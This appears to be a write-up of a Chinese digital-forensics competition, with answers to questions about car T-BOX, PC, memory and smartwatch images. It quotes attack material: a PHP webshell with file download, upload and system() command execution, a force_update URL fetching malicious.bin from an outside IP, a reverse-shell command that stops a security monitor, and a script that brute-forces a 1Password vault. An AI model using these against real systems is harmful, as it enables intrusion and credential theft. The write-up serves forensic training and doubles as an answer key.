1 Key = 5a: [[TBOX_CONFIG]VIN=LSGXE53W7PS012345SERVER_URL=https://tsp.starway.com# --- SECURITY ---CE
分析黄志远car.E01检材,查看系统升级日志。黑客在强制刷入恶意固件时,使用了哪个完整的“强制忽略签名”参数标志?[答案格式:+d devicesid]
直接把内容粘贴出来:
1 2 3 4 5 6 7 8 9 10 [2025-11-20 02:00:00] OTA Check: No updates available. [2025-12-01 03:00:00] OTA Check: Found V3.2.1-patch1. [2025-12-01 03:05:00] Download successful. Verifying signature... [2025-12-01 03:05:10] Signature VALID. Applying update... [2025-12-01 03:15:00] Update SUCCESS. Rebooting. [2025-12-14 22:30:15] DEBUG_MODE: Local firmware push detected. [2025-12-14 22:30:18] WARNING: Signature bypass flag is active (-f force). [2025-12-14 22:35:00] Flashed partition 'adas' via diagnostic service. [2025-12-14 22:36:00] System state altered locally. [2025-12-15 23:40:00] OTA Check: Target Server timeout.
-f force
分析黄志远car.E01检材,分析蓝牙连接历史,找出在碰撞前几分钟连接成功的可疑设备名称。[答案格式:Forensc_Live_KKK]
碰撞时间大概是1702654800,而且这个pin_code也非常可疑。
Diagnostic_Dongle_BLE
分析黄志远car.E01检材,系统的后门程序伪装成系统组件以此维持权限。请填入该 ELF 攻击脚本在 T-BOX 上的完整绝对路径。 [答案格式:/home/abc/adc.raw_adc]
没几个文件,随便翻一下就能找到。或者直接爆搜ELF这个文件头。 /data/local/tmp/syslogd_update
分析黄志远car.E01检材,从 EDR 采样记录中提取出车辆在碰撞瞬间(采样点 0)记录的纵向车速数值(单位:km/h)。 [答案格式:100]
180 虽然这个答案好像是错的,但我真看不出来。
分析黄志远car.E01检材,从碰撞前 5 秒采样点中恢复出的纵向车速是多少?[答案格式:100]
85
分析黄志远car.E01检材,分析 OBD 诊断历史,提取出碰撞瞬时车辆自动记录的冻结帧(Freeze Frame)中的引擎 RPM 数值。 [答案格式:100]
我们接下来重点看B0070那个文件即可。是碰撞时自动记录的冻结帧
交给AI分析。
2000
分析黄志远car.E01检材,分析 PKE 系统的 RF 日志,找出那把非法克隆生成的 NFC 卡片钥匙所对应的 ID,该 ID 在事发当晚被用于非法侵入。 [答案格式:0xAB12]
1 2 3 4 5 6 7 8 2025-12-15 08:30:12 | KEY_ID: 0x1A2B | ACTION: UNLOCK | METHOD: LF/RF (PKE) | RSSI: -40dBm 2025-12-15 08:31:00 | KEY_ID: 0x1A2B | ACTION: ENGINE_START | AUTH: OK 2025-12-15 18:45:22 | KEY_ID: 0x1A2B | ACTION: ENGINE_STOP | STATE: OFF 2025-12-15 18:46:01 | KEY_ID: 0x1A2B | ACTION: LOCK | METHOD: RKE (Button) | RSSI: -65dBm 2025-12-15 23:25:10 | KEY_ID: 0xUNKNOWN | ACTION: AUTH_CHALLENGE | RSSI: -90dBm 2025-12-15 23:25:21 | KEY_ID: 0xUNKNOWN | ACTION: AUTH_FAIL | ERROR: INVALID_RESPONSE 2025-12-15 23:31:05 | KEY_ID: 0x9F8E | ACTION: UNLOCK | METHOD: NFC_CARD | STATE: SUCCESS 2025-12-15 23:32:00 | KEY_ID: 0x9F8E | ACTION: ENGINE_START | METHOD: DIAG_BYPASS
0x9F8E
分析黄志远car.E01检材,在行车记录仪元数据中记录了碰撞瞬间的加速度。请指出该元数据完整性校验的状态。[答案格式:TRUE] 我们看dashcam目录即可。日志如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { "device": "Starway_Dashcam_V1", "firmware": "v1.2.3", "events": [ { "file": "EVT_20251215_234500_CRASH.mp4", "trigger": "G_SENSOR_X_SHOCK", "g_forces": { "x": -8.5, "y": 1.2, "z": 0.5 }, "coordinates": { "lat": 30.7512, "lon": 120.8015 }, "speed_kmh": 180, "timestamp_utc": "2025-12-15T23:45:01Z", "integrity_check": "FAILED" } ] }
FAILED
分析黄志远car.E01检材,综合分析所有证据,黑客最终通过哪种方式实现了对车辆 ADAS 固件的非法篡改?[答案格式:加油ABC] 黑客最终通过「物理接触车辆OBD-II诊断接口,利用诊断服务(UDS 0x34/0x36)在强制绕过签名验证(-f force)的模式下,向ADAS域控制器刷写了未经授权的恶意固件」实现了对车辆ADAS固件的非法篡改。 然后我们可以看tbox\comm\telemetry_20251215.pcap
说明攻击者通过 force_update 拉取了恶意固件包。 再看tbox\ota\update.log [2025-12-14 22:30:18] WARNING: Signature bypass flag is active (-f force). [2025-12-14 22:35:00] Flashed partition ‘adas’ via diagnostic service.
这说明不是正常 OTA,而是强制更新、绕过签名校验,最终刷写了 adas 分区。
根据答案格式,我们填:强制OTA
分析黄志远car.E01检材,在遥感数据包流量中,黑客在回传 C2 服务器的数据中实时记录了车速。请找出 JSON 载荷中 speed 键对应的值。 [答案格式:100] car.E01\分区1\tbox\comm\telemetry_20251215.pcap 我们直接搜pcap即可搜到。然后wireshark分析。
180
分析黄志远car.E01检材,为躲避 IDS 的监控,恶意流量通过 HTTP GET 请求伪装成媒体流请求。请找出该恶意回连所请求的伪装域名(Host)。[答案格式:bing.com]
HTTP_GET: /media/audio/playlist_1.m3u8 Host: streaming.starway.com
streaming.starway.com
分析黄志远car.E01检材,黑客建立 Reverse Shell 后,执行了哪条指令来强行停止车机底层的安全监护进程? [答案格式:abc.def]
systemctl stop sec_monitor
看上面的图 HTTP_GET: /api/v1/ota/force_update?pkg=http://45.33.22.11/malicious.bin
http://45.33.22.11/malicious.bin
分析黄志远car.E01检材,黑客为了提权并获取 Root 用户身份,在 Shell 中执行的初始探测指令是什么?[答案格式:kk] 看上面的图 id
分析黄志远car.E01检材,反向 Shell 成功建立后,返回的权限对应的 UID 数值是多少? [答案格式:100] 看上面的图 0
分析黄志远car.E01检材,黑客在其利用漏洞上传的 ELF 脚本中,使用了哪个特定的进程名称来伪装成系统日志服务?[答案格式:deadlive_solodata]
syslogd_update
分析林小碗手表,手表型号是?[答案格式:OPPO WATCH GT 4]
HUAWEI WATCH GT 5
分析林小碗手表,发现林小碗实际年龄是多少岁?[答案格式:18] 分析林小碗手表,发现林小碗经常外出跑步,主要运动区域是?[答案格式:成都市武侯区] 分析林小碗手表,发现林小碗经常外出跑步,平均跑步几公里?[答案格式:7] 分析林小碗手表,分析林小碗高压力(>70)天数是多少天?[答案格式:10] 分析林小碗手表,分析林小碗平均心率是多少?[答案格式:10] 分析林小碗手表,分析林小碗2024年12月25日在哪里运动?[答案格式:填写室外或者室内] 计算机取证 分析刘洋liuyang_pc.E01检材,提取磁盘镜像SHA1值的前6位?[答案格式:字母小写]
5bc418
分析刘洋liuyang_pc.E01检材,计算机系统Build版本为?[答案格式:19000]
26100
分析刘洋liuyang_pc.E01检材,计算机最后一次正常关机的时间为?UTC +0[答案格式:2025-05-06-09:00:00] 见上面的图 最后一次正常关机时间 2026-04-21 00:25:35 Windows 11 Professional 正常 但是这里是UTC+8的,我们要改成UTC +0 2026-04-20 16:25:35
分析刘洋liuyang_pc.E01检材,计算机网卡的MAC地址为?[答案格式:00-0B-00-A0-00-00]
00-50-56-30-26-1C
分析刘洋liuyang_pc.E01检材,分析机主是从那里下载的typora?[答案格式:阿里云]
蓝奏云
分析刘洋liuyang_pc.E01检材,刘洋在2026-04-19 13:46:01(UTC +0)曾访问过百度云盘,请给云盘的打开密码?[答案格式:11aa] 换成UTC +8就是2026-04-19 21:46:01
这里找到了bitlocker的密钥,先解密一下。
1B5614D5-9F09-4BCE-9F59-2A1C5BE11730
但这个没解成功,接着看题先。
复制粘贴出来:https://pan.baidu.com/share/init?surl=EnFgUyZINuv5dsy_wPkxUQ&pwd=48gy 48gy
分析刘洋liuyang_pc.E01检材,请给出刘洋管理pve集群所用的端口号?[答案格式:8000]
直接在浏览记录里可以看到 8006
分析刘洋liuyang_pc.E01检材,请给出刘洋登录理财网站所使用的密码?[答案格式:password] 见上面,理财网站应该就是上面的金鳞资本
密码可能保存在1password里。
1 团队重要信息可以使用1password进行加密,打开密码可以统一设置为姓名全拼@4位数字
我们要解的是 1Password,只是这题里 1Password 的数据不是只能从程序本体里拿,而是已经同步/落地成了一个 OPVault 目录。 类比一下:我们不是要破解1password,而是“解开 1password 的数据库文件”。 default文件夹中的文件其实就是我们需要的加密文件(加密后的 1Password 条目存储)。
解密爆破脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import jsonimport syssys.path.insert(0 , r"C:\Users\TY\Desktop\pgs\work\vendor" ) from opvault.onepass import OnePassVAULT_PATH = r"C:\Users\TY\Desktop\pgs\work\liuyang\opvault\liuyang.opvault" PREFIX = "liuyang@" KEYWORDS = ("金鳞" , "jlzb" , "3w.jlzb.vip" , "理财" , "资本" ) def summarize_item (details ): out = {} for key, value in details.items(): if isinstance (value, list ): items = [] for item in value: if isinstance (item, dict ): items.append( { sub_key: sub_val for sub_key, sub_val in item.items() if sub_key not in {"n" , "k" , "guarded" , "entropy" } } ) else : items.append(item) out[key] = items else : out[key] = value return out def item_matches (title, details ): haystacks = [title] for url in details.get("URLs" , []): haystacks.append(str (url)) for field in details.get("fields" , []): haystacks.append(str (field.get("value" , "" ))) haystacks.append(str (field.get("name" , "" ))) text = "\n" .join(haystacks) return any (k in text for k in KEYWORDS) def main (): for i in range (10000 ): candidate = f"{PREFIX} {i:04d} " vault = OnePass(VAULT_PATH) try : vault.unlock(candidate) vault.load_items() except Exception: vault.lock() continue print ("MASTER_PASSWORD" , candidate) print ("ITEM_TITLES" ) for title in sorted (vault.get_items()): print (title) print ("MATCHED_ITEMS" ) found = False for title in sorted (vault.get_items()): try : results = vault.get_item(title) except Exception: continue for overview, details in results: if item_matches(title, details): found = True print ("TITLE" , title) print ("OVERVIEW" , json.dumps(overview, ensure_ascii=False )) print ("DETAILS" , json.dumps(summarize_item(details), ensure_ascii=False )) print ("---" ) if not found: print ("MATCHED_ITEMS_NONE" ) vault.lock() return print ("MASTER_PASSWORD_NOT_FOUND" ) if __name__ == "__main__" : main()
密码为liuyang@6419,然后我们进1password看看。
获取信息如下:
刘洋电脑:6yang@2o26 金鳞资本:admin123 交易信息.rar密码:pgscup@4位数字 pve服务器:https://192.168.0.51:8006/
admin123
分析刘洋liuyang_pc.E01检材,请给出理财网站的IP地址?[答案格式:127.0.0.1]
192.168.0.70
分析刘洋liuyang_pc.E01检材,请给出计算机内Bitlocker加密分区恢复密钥的前6位?[答案格式:6位数字] 我们用efdd恢复一下看看。直接用给的内存文件恢复。
202f93adcf31f357385f488b791d8fd8
恢复密钥:560615-577522-342881-216865-242561-312356-584837-421597
560615
分析刘洋liuyang_pc.E01检材,找出VC加密容器的密钥文件,给出该密钥文件的绝对路径?[答案格式:D:\ABC\123\测试.txt] D盘BitLocker没解的时候能看见图片下面存在VC容器密钥文件字样,路径为”D:\BaiduNetdiskDownload\无标题.png” 但是感觉高宽有问题
用随波逐流修复一下宽高。
图片如下:
D:\BaiduNetdiskDownload\无标题.png
接上题,该VC加密容器的密钥文件的图像高度是多少像素?[答案格式:1345] 1080
分析刘洋liuyang_pc.E01检材,请给出团队重要信息加密保存的软件名?[答案格式:abc123] 1Password
分析刘洋liuyang_pc.E01检材,该软件的保险库文件名为什么?[答案格式:abc.abc]
liuyang.opvault
分析刘洋liuyang_pc.E01检材,该软件的保险库文件打开密码是什么?[答案格式:124@password] liuyang@6419
分析刘洋liuyang_pc.E01检材,请给出用户刘洋的开机密码?[答案格式:p@ssw0rd123] 打开1password后可知: 6yang@2o26
分析刘洋liuyang_pc.E01检材,请给出pve服务器的管理密码?[答案格式:p@ssw0rd123] 一下子没看出来,点击编辑可见:
pgscup2o@6
分析刘洋liuyang_pc.E01检材,找出计算机内的脚本加密工具,给出该加密工具的SHA1的前6位?[答案格式:字母小写]
感觉就是这个东西,但是在E盘,但是我们根本没有E盘? 用everything找也找不到。 怀疑是在之前的VC容器中。 VC加密容器密码:8687f7d845649e03d02d4ff1f36ec952
一个安装包3G?一眼VC容器。
用之前获得的密钥文件来挂载一下,并使用一下pim2026。
1 certutil -hashfile encrypt_tool.py SHA1
7860dc
分析刘洋liuyang_pc.E01检材,该脚本加密工具在进行脚本加密时,最后一层是进行什么操作?[答案格式:字符替换]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 """ 加密工具 - 用于服务器取证 适用于数据库备份 加密层次: 第1层: XOR加密 (密钥: 0x5A, 位置偏移 i%256) 第2层: Base64编码 第3层: 字符替换表 (ABCD...+/ -> ZYXW...+/) 第4层: 十六进制转换 用法: python encrypt_tool.py --input <文件路径> --output <输出路径> python encrypt_tool.py <输入路径> <输出路径> python encrypt_tool.py --db --output <输出路径> """ import osimport sysimport base64import gzipimport subprocessimport argparsetry : import codecs def read_file (path ): with codecs.open (path, 'r' , encoding='utf-8' ) as f: return f.read() def write_file (path, content ): with codecs.open (path, 'w' , encoding='utf-8' ) as f: f.write(content) except ImportError: def read_file (path ): with open (path, 'rb' ) as f: return f.read().decode('utf-8' ) def write_file (path, content ): with open (path, 'wb' ) as f: f.write(content.encode('utf-8' )) XOR_KEY = 0x5A BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" CUSTOM_TABLE = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/" def xor_encrypt (data ): """第1层: XOR加密""" result = [] for i, c in enumerate (data): result.append(chr (ord (c) ^ (XOR_KEY + i) % 256 )) return '' .join(result) def char_swap_encode (data ): """第3层: 字符替换编码""" trans = str .maketrans(BASE64_TABLE, CUSTOM_TABLE) return data.translate(trans) def obfuscate (data ): """4层混淆加密""" step1 = xor_encrypt(data) step2 = base64.b64encode(step1.encode('utf-8' )).decode('ascii' ) step3 = char_swap_encode(step2) step4 = step3.encode('utf-8' ).hex () return step4 def encrypt_file (input_path, output_path ): """加密目标文件""" content = read_file(input_path) obfuscated = obfuscate(content) write_file(output_path, obfuscated) print ("[OK] %s -> %s" % (input_path, output_path)) def main (): is_db = '--db' in sys.argv if len (sys.argv) >= 3 and not sys.argv[1 ].startswith('-' ): input_path = sys.argv[1 ] output_path = sys.argv[2 ] else : parser = argparse.ArgumentParser(description='加密文件加密工具' ) parser.add_argument('--input' , '-i' , help ='输入文件路径' ) parser.add_argument('--output' , '-o' , help ='输出文件路径' ) parser.add_argument('--db' , action='store_true' , help ='数据库备份模式' ) args = parser.parse_args() input_path = args.input if not args.db else None output_path = args.output is_db = args.db print ("=" * 60 ) print (" 数据库文件加密工具" ) print ("=" * 60 ) print ("" ) if is_db: db_user = 'root' db_pass = 'pgscup@o26' db_name = 'jinqin' password = 'JDSJ2026@Backup' print ("[*] 正在备份数据库..." ) print (" 数据库: %s" % db_name) print (" 输出: %s" % output_path) print ("" ) try : temp_sql = '/tmp/backup_temp.sql' dump_cmd = 'mysqldump -uroot -p"pgscup@o26" --single-transaction --quick %s > %s' % (db_name, temp_sql) print ("[*] 执行mysqldump..." ) ret = os.system(dump_cmd) if ret != 0 : print ("[ERROR] mysqldump失败, 返回码: %d" % ret) sys.exit(1 ) print ("[OK] mysqldump完成" ) temp_gz = '/tmp/backup_temp.sql.gz' gzip_cmd = 'gzip -9 -c < %s > %s' % (temp_sql, temp_gz) print ("[*] 执行gzip压缩..." ) ret = os.system(gzip_cmd) if ret != 0 : print ("[ERROR] gzip失败, 返回码: %d" % ret) os.remove(temp_sql) sys.exit(1 ) print ("[OK] gzip压缩完成" ) os.remove(temp_sql) print ("[*] 执行openssl加密..." ) openssl_cmd = 'openssl aes-256-cbc -salt -pass pass:%s -in %s -out %s' % (password, temp_gz, output_path) ret = os.system(openssl_cmd) if ret != 0 : print ("[ERROR] openssl失败, 返回码: %d" % ret) os.remove(temp_gz) sys.exit(1 ) print ("[OK] openssl加密完成" ) os.remove(temp_gz) size = os.path.getsize(output_path) print ("" ) print ("[OK] 完成: %s (%.2f MB)" % (output_path, size/1024 /1024 )) print ("" ) print ("[INFO] 数据库备份密码: %s" % password) except Exception as e: print ("[ERROR] %s" % str (e)) sys.exit(1 ) else : if not input_path or not output_path: print ("[ERROR] 请指定输入和输出文件路径" ) print ("用法: python encrypt_tool.py --input <文件> --output <输出>" ) sys.exit(1 ) if not os.path.exists(input_path): print ("[ERROR] 文件不存在: %s" % input_path) sys.exit(1 ) parent_dir = os.path.dirname(output_path) if parent_dir and not os.path.exists(parent_dir): os.makedirs(parent_dir) encrypt_file(input_path, output_path) print ("" ) print ("[OK] 加密完成" ) if __name__ == "__main__" : main()
最后一层是十六进制转换。
分析刘洋liuyang_pc.E01检材,请解密该脚本加密工具加密的文件database.php.obf,给出该文件内的数据库密码?[答案格式:p@ssw0rd123] 让AI写一个解密脚本即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 """ 解密工具 - 对应 encrypt_tool.py 的逆向操作 """ import osimport sysimport base64import argparseimport tempfileimport subprocessimport gziptry : import codecs def read_file (path ): with codecs.open (path, 'r' , encoding='utf-8' ) as f: return f.read() def write_file (path, content ): with codecs.open (path, 'w' , encoding='utf-8' ) as f: f.write(content) except ImportError: def read_file (path ): with open (path, 'rb' ) as f: return f.read().decode('utf-8' ) def write_file (path, content ): with open (path, 'wb' ) as f: f.write(content.encode('utf-8' )) XOR_KEY = 0x5A BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" CUSTOM_TABLE = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/" def char_swap_decode (data ): """字符替换解码 (CUSTOM_TABLE -> BASE64_TABLE)""" trans = str .maketrans(CUSTOM_TABLE, BASE64_TABLE) return data.translate(trans) def xor_decrypt (data ): """XOR解密""" result = [] for i, c in enumerate (data): result.append(chr (ord (c) ^ (XOR_KEY + i) % 256 )) return '' .join(result) def deobfuscate (hex_data ): """完整解密流程(4层逆向)""" step4 = bytes .fromhex(hex_data).decode('utf-8' ) step3 = char_swap_decode(step4) step2 = base64.b64decode(step3.encode('ascii' )).decode('utf-8' ) step1 = xor_decrypt(step2) return step1 def decrypt_file (input_path, output_path ): """解密普通文件(4层混淆)""" encrypted_hex = read_file(input_path).strip() decrypted_content = deobfuscate(encrypted_hex) write_file(output_path, decrypted_content) print ("[OK] 解密完成: %s -> %s" % (input_path, output_path)) def decrypt_db_backup (encrypted_path, output_path, password ): """解密数据库备份(--db 模式)""" print ("[*] 开始解密数据库备份..." ) print (" 加密文件: %s" % encrypted_path) print (" 输出文件: %s" % output_path) print (" 使用密码: %s" % password) temp_decrypted_gz = tempfile.mktemp(suffix='.gz' ) try : print ("[*] 执行openssl解密..." ) openssl_cmd = 'openssl aes-256-cbc -d -salt -md md5 -pass pass:%s -in %s -out %s' % ( password, encrypted_path, temp_decrypted_gz ) ret = subprocess.call(openssl_cmd, shell=True ) if ret != 0 : print ("[ERROR] openssl解密失败, 返回码: %d" % ret) sys.exit(1 ) print ("[OK] openssl解密完成" ) print ("[*] 执行gzip解压..." ) with gzip.open (temp_decrypted_gz, 'rb' ) as f_in: with open (output_path, 'wb' ) as f_out: f_out.write(f_in.read()) print ("[OK] gzip解压完成" ) size = os.path.getsize(output_path) print ("" ) print ("[OK] 数据库备份解密完成: %s (%.2f MB)" % (output_path, size/1024 /1024 )) print ("[INFO] 解密后的文件为SQL格式,可用mysql命令导入" ) except Exception as e: print ("[ERROR] %s" % str (e)) sys.exit(1 ) finally : if os.path.exists(temp_decrypted_gz): os.remove(temp_decrypted_gz) print ("[*] 已清理临时文件: %s" % temp_decrypted_gz) def main (): parser = argparse.ArgumentParser(description='数据库文件解密工具' ) parser.add_argument('--input' , '-i' , help ='输入文件路径(加密后的文件)' ) parser.add_argument('--output' , '-o' , help ='输出文件路径(解密后的文件)' ) parser.add_argument('--db' , action='store_true' , help ='数据库备份解密模式' ) parser.add_argument('--password' , '-p' , default='JDSJ2026@Backup' , help ='数据库备份密码(默认: JDSJ2026@Backup)' ) args = parser.parse_args() print ("=" * 60 ) print (" 数据库文件解密工具" ) print ("=" * 60 ) print ("" ) if args.db: if not args.input or not args.output: print ("[ERROR] 请指定输入和输出文件路径" ) print ("用法: python decrypt.py --db --input <加密文件> --output <输出.sql>" ) sys.exit(1 ) if not os.path.exists(args.input ): print ("[ERROR] 文件不存在: %s" % args.input ) sys.exit(1 ) decrypt_db_backup(args.input , args.output, args.password) else : if not args.input or not args.output: print ("[ERROR] 请指定输入和输出文件路径" ) sys.exit(1 ) if not os.path.exists(args.input ): print ("[ERROR] 文件不存在: %s" % args.input ) sys.exit(1 ) parent_dir = os.path.dirname(args.output) if parent_dir and not os.path.exists(parent_dir): os.makedirs(parent_dir) decrypt_file(args.input , args.output) print ("" ) print ("[OK] 解密完成" ) if __name__ == "__main__" : main()
内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php return [ 'default' => env ('DB_CONNECTION' , 'mysql' ), 'connections' => [ 'mysql' => [ 'driver' => 'mysql' , 'host' => env ('DB_HOST' , '127.0.0.1' ), 'port' => env ('DB_PORT' , '3306' ), 'database' => env ('DB_DATABASE' , 'jinqin' ), 'username' => env ('DB_USERNAME' , 'root' ), 'password' => env ('DB_PASSWORD' , 'pgscup@o26' ), ], ], ];
pgscup@o26
其他文件也都解密一下吧: admin_hint:
1 2 3 4 【后台入口线索】 后台登录地址: http://192.168.0.70/admin 管理员账号: admin 密码提示: 用户创建时间戳 + 生日后6位
.env:
1 2 3 4 5 6 7 8 9 10 11 12 APP_NAME=金的时间 APP_ENV=local APP_KEY=base64:QmhkrWMLYbZsQkINFr5Jd1eNiDEVduTbfSNlotS+rWI= APP_DEBUG=true APP_URL=http://192.168.0.70 DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=jinqin DB_USERNAME=root DB_PASSWORD=pgscup@o26
分析刘洋liuyang_pc.E01检材,找出刘洋计算机内的交易信息.rar,给出该文件的打开密码?[答案格式:p@ssw0rd123] 1password中得知交易信息.rar密码:pgscup@4位数字 我们排列组合一下密码、密钥文件、pim,这里用了密码和pim挂载出来了。
然后我们用passwarekit设置一下掩码攻击
pgscup@9541
分析刘洋liuyang_pc.E01检材,找出刘洋计算机内刘桂荣的身份证号码?[答案格式:510657199808071131]
有三个刘桂荣,神了。
分析刘洋ly-memdump.mem镜像,给出用户刘洋的NT哈希值?[答案格式:数字字母组合,字母小写]
876dfe7bd78730b7b0baaf451414de8e
分析刘洋ly-memdump.mem镜像,给出1Password密码管理器的数据库文件名?[答案格式:123ABc.abc]
1Password10.sqlite
分析刘洋ly-memdump.mem镜像,1Password在VeraCrypt启动后约多少分钟启动?[答案格式:123] 直接搜这两个进程,把创建时间减一下。
2
分析黄志远PC.E01镜像,黄志远使用的ai agent的名称是什么?[答案格式:www]
hermes
分析黄志远PC.E01镜像,黄志远使用的模型api后4位是什么?[答案格式:abcd]
直接到/home/kali/下找即可,找config文件。 gioa
请分析黄志远PC.E01镜像中的渗透.rar文件,分析黄志远PC.E01镜像,黄志远总共攻击了多少台主机?[答案格式:123] dump到本机后发现rar需要密码。
在同一目录下发现渗透密码的文件夹。发现其中有500张小图片,意图应该是让我们拼起来。
1 montage ./*.png -tile 22X22 -geometry +0+0 flag.png
然后我们还原一下这个被打乱的拼图:
1 2 3 4 5 6 7 8 9 10 11 cd gaps pyenv local 3.11.9 python3 -m venv venv source venv/bin/activate # 先手动安装 numpy(使用国内镜像加速) pip install numpy==1.24 -i https://mirrors.aliyun.com/pypi/simple/ # 然后再安装 gaps pip install . gaps run flag-0.png solution.png --size=32 --generations=100 --population=1000
如果觉得看不清楚可以调参数
1 gaps run flag-0.png solution.png --size=32 --generations=500 --population=2000
结果图片如下:好像没啥区别。
感觉像是“今晚去杀鬼” 解压后发现一堆渗透测试报告之类的
16
请分析黄志远PC.E01镜像中的渗透.rar文件,反编译exploit二进制文件发现其调用了setuid()、setgid()和system(“/bin/bash”),该程序的源文件编译前名称是什么?[答案格式:xxx.c]
我们可以得知是C语言,用gcc编译的。 同时我们可以直接在exploit文件中确定了源名称
exploit.c
请分析黄志远PC.E01镜像中的渗透.rar文件,Webshell 功能逻辑研判观察 file_shell.php 的源码,若攻击者请求 ?download=/etc/passwd,程序执行的核心函数是什么?[答案格式:func()] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php if (isset ($_GET ['download' ])) { $file = $_GET ['download' ]; if (file_exists ($file )) { header ('Content-Type: application/octet-stream' ); header ('Content-Disposition: attachment; filename="' .basename ($file ).'"' ); readfile ($file ); exit ; } } if (isset ($_FILES ['file' ])) { $target = basename ($_FILES ['file' ]['name' ]); if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $target )) { echo "File uploaded: $target <br>" ; } } if (isset ($_GET ['cmd' ])) { system ($_GET ['cmd' ]); } ?> <form method="post" enctype="multipart/form-data" > <input type="file" name="file" > <input type="submit" value="Upload" > </form> <form method="get" > <input type="text" name="cmd" placeholder="Command" > <input type="submit" value="Execute" > </form>
readfile()
请分析黄志远PC.E01镜像中的渗透.rar文件,Nikto扫描结果发现通过发送超长斜杠序列可以探测目录列举漏洞,该漏洞对应的CVE编号是什么?[答案格式:CVE-XXXX-XXXX]
CVE-2002-1078
请分析黄志远PC.E01镜像中的渗透.rar文件,SQLite 数据库结构分析在 users 表的定义中,id 字段使用了 AUTOINCREMENT。这意味着什么?[答案格式:SQL_KEYWORD] AUTOINCREMENT
请分析黄志远PC.E01镜像中的渗透.rar文件,Webshell 命令执行参数若要利用 file_shell.php 获取当前系统的用户权限,正确的 URL 参数构造是什么?[答案格式:cmd=xxx] cmd=id
请分析黄志远PC.E01镜像中的渗透.rar文件,API 端口风险判定8000端口运行的技术组件是什么?[答案格式:XxxYyy]
FastAPI
请分析黄志远PC.E01镜像中的渗透.rar文件,数据库存储安全性评估users 表的密码存储存在什么安全隐患?[答案格式:CVE-XXXX-XXXX]
他说的是users表,0004是整个数据库的问题。 CVE-2026-0005
请分析黄志远PC.E01镜像中的渗透.rar文件,文件上传漏洞利用条件利用 upload.php 上传漏洞后,攻击者利用 Webshell 前最关键的一步是什么?[答案格式:xxx/]
uploads/
请分析黄志远PC.E01镜像中的渗透.rar文件,根据通讯录管理系统漏洞清单,CVE-2026-0003(无限制文件上传漏洞)的CVSS评分是多少?[答案格式:1.2]
8.8
请分析黄志远PC.E01镜像中的渗透.rar文件,根据file_shell.php源码,文件上传功能使用哪个PHP函数将临时文件移动到目标路径?[答案格式:php_func]
move_uploaded_file
请分析黄志远PC.E01镜像中的渗透.rar文件,Web 目录遍历隐患uploads/ 目录启用目录列表功能通常由哪个组件控制?[答案格式:apache_opt]
Apache目录列表功能功能由Indexes控制
apache_indexes
请分析黄志远PC.E01镜像中的渗透.rar文件,敏感凭据深度关联在 address_book.db 中,管理员密码 Str0ngP@ssw0rd2026! 是什么角色?[答案格式:SQL_DEFAULT]
SQL_ADMIN
请分析黄志远PC.E01镜像中的渗透.rar文件,数据规模与风险评估遭受泄露的个人联系人信息条数大约为多少?[答案格式:12345]
15000
请分析黄志远PC.E01镜像中的渗透.rar文件,系统运行权限分析Web服务器运行的用户身份是什么?[答案格式:xxx-xxx]
www-data
id
请分析黄志远PC.E01镜像中的渗透.rar文件,数据库物理路径获取攻击者通过 generate_data.php 得知数据库在服务器上的绝对物理路径是什么?[答案格式:/xxx/xxx/xxx.db]
/var/www/html/address_book.db
Content-Disposition
请分析黄志远PC.E01镜像中的渗透.rar文件,身份验证策略评估系统中存在的弱密码策略漏洞不包括哪项?[答案格式:user/pass]
默认凭据如上,数据库中的账密不属于如上的。
admin/Str0ngP@ssw0rd2026!
请分析黄志远PC.E01镜像中的渗透.rar文件,API 环境交互日志价值未授权访问8000端口日志接口,最可能导致哪类敏感信息泄露?[答案格式:/api/xxx]
/api/logs
请分析黄志远PC.E01镜像中的渗透.rar文件,攻击路径逻辑推演攻击者获取持久访问权限的最典型方式是什么?[答案格式:xxx.php]
更符合“持久访问权限”的答案是:file_shell.php
如果题目问“利用哪个漏洞页面上传 Webshell”,才是:upload.php
